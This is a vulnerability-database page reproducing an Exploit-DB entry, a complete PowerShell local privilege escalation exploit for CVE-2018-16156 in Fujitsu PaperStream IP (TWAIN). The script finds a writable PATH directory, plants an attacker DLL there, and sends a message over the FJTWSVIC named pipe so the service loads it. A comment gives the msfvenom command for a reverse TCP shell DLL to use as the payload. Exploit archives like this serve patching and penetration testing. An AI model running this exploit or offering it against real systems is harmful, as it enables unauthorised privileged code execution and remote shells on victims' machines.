Lucene search
K

PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation

🗓️ 06 Jan 2021 00:00:00Reported by 1F98DType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 390 Views

PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation vulnerability in Fujitsu softwar

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation
6 Jan 202100:00
zdt
Circl
CVE-2018-16156
17 May 201919:46
circl
CVE
CVE-2018-16156
17 May 201917:20
cve
Cvelist
CVE-2018-16156
17 May 201917:20
cvelist
EUVD
EUVD-2018-8010
17 May 201917:20
euvd
NVD
CVE-2018-16156
17 May 201918:29
nvd
OSV
CVE-2018-16156
17 May 201918:29
osv
Packet Storm
PaperStream IP (TWAIN) 1.42.0.5685 Local Privilege Escalation
7 Jan 202100:00
packetstorm
Prion
Design/Logic Flaw
17 May 201918:29
prion
RedhatCVE
CVE-2018-16156
22 May 202513:27
redhatcve
Rows per page
# Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation
# Exploit Author: 1F98D
# Original Author: securifera
# Date: 12 May 2020
# Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html
# CVE: CVE-2018-16156
# Tested on: Windows 10 x64
# References:
# https://www.securifera.com/advisories/cve-2018-16156/
# https://github.com/securifera/CVE-2018-16156-Exploit

# A DLL hijack vulnerability exists in the FJTWSVIC service running as part of
# the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches
# for a writable location, copies the specified DLL to that location and then
# triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32
# named pipe.

$ErrorActionPreference = "Stop"

# Example payload generated as follows
# msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444 
$PayloadFile = "C:\Windows\Temp\UninOldIS.dll"

if ((Test-Path $PayloadFile) -eq $false) {
    Write-Host "$PayloadFile not found, did you forget to upload it?"
    Exit 1
}

# Find Writable Location
$WritableDirectory = $null
$Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path
$Path -Split ";" | % {
    try {
        [IO.File]::OpenWrite("$_\x.txt").close()
        Remove-Item "$_\x.txt"
        $WritableDirectory = $_
    } catch {}
}

if ($WritableDirectory -eq $null) {
    Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable"
    Exit 1
}

Write-Host "Writable location found, copying payload to $WritableDirectory"
Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll"

Write-Host "Payload copied, triggering..."
$client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)
$reader = $null
$writer = $null
try {
    $client.Connect()
    $reader = New-Object System.IO.StreamReader($client)
    $writer = New-Object System.IO.StreamWriter($client)
    $writer.AutoFlush = $true
    $writer.Write("ChangeUninstallString")
    $reader.ReadLine()	
} finally {
    $client.Dispose()
}

Write-Host "Payload triggered"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jan 2021 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 27.2
CVSS 3.17.8
EPSS0.13853
390